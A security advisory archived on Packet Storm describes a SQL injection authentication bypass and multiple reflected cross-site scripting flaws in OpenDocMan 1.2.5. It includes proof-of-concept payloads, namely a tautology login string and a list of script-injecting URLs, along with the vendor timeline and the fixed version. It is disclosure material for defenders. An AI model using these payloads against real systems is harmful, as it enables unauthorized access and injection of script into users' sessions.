what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenDocMan 1.2.5 SQL Injection / XSS

OpenDocMan 1.2.5 SQL Injection / XSS
Posted Oct 21, 2009
Authored by Amol Naik

OpenDocMan version 1.2.5 suffers from cross site scripting and a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, xss, sql injection
SHA-256 | e7e44fcb4e3f30d43bfa0d2b218cd77b02a088d09ba683e330163fd067dfad35

OpenDocMan 1.2.5 SQL Injection / XSS

Change Mirror Download
Security Advisory : Multiple vulnerabilities in OpenDocMan
Discovered by ==> Amol Naik (amolnaik4[at]gmail.com)

## Overview ##
--------------
OpenDocMan is a free document management system (DMS) designed to comply with ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, and automated install and upgrades.


## Vulnerability Description ##
-----------------
OpenDocMan is vulnerable to authentication bypass and multiple cross-site scripting issues.



## Technical Details ##
-------------
Vulnerable Product : OpenDocMan v1.2.5
Download : http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5/opendocman-1.2.5.zip/download


Authentication Bypass:
----------------------

A valid username require to carry put Auth Bypass. Default is "admin".


Cross-site Scripting:
---------------------

Multiple instances of Cross-site scripting found majorly due to use of $_SERVER['PHP_SELF'] in action parameter of form field and due to absence of validation for "last_message" parameter.



## Proof of concept ##
----------------------

Authentication Bypass:
----------------------

Username : admin' OR '1'='1
Password : nothing

Cross-site scripting:
---------------------

http://localhost/opendocman/category.php/"><script>alert(1)</script><"?aku=c3VibWl0PWFkZCZzdGF0ZT0y
http://localhost/opendocman/department.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/profile.php/"><script>alert(1)</script>
http://localhost/opendocman/rejects.php/"><script>alert(1)</script>
http://localhost/opendocman/search.php/"><script>alert(1)</script>
http://localhost/opendocman/toBePublished.php/"><script>alert(1)</script>
http://localhost/opendocman/user.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/view_file.php/"><script>alert(1)</script><"?aku=aWQ9NiZzdGF0ZT0z
http://localhost/opendocman/index.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/user.php?submit=Modify+User&item=2&caller=/opendocman/"><script>alert(123)</script><"
http://localhost/opendocman/add.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/toBePublished.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/admin.php?last_message=<script>alert(1)</script>

## Workaround ##
----------------
Update to newer version v1.2.5.2
opendocmanv1.2.5.2: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5.2/opendocman-1.2.5.2.zip/download


## TimeLine ##
----------------------
10th Oct 2009 : Bug Discovered
12th Oct 2009 : vendor was notified by e-mail
12th Oct 2009 : Vendor response received
20th Oct 2009 : A new release publicly available
20th Oct 2009 : Public Disclosure

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close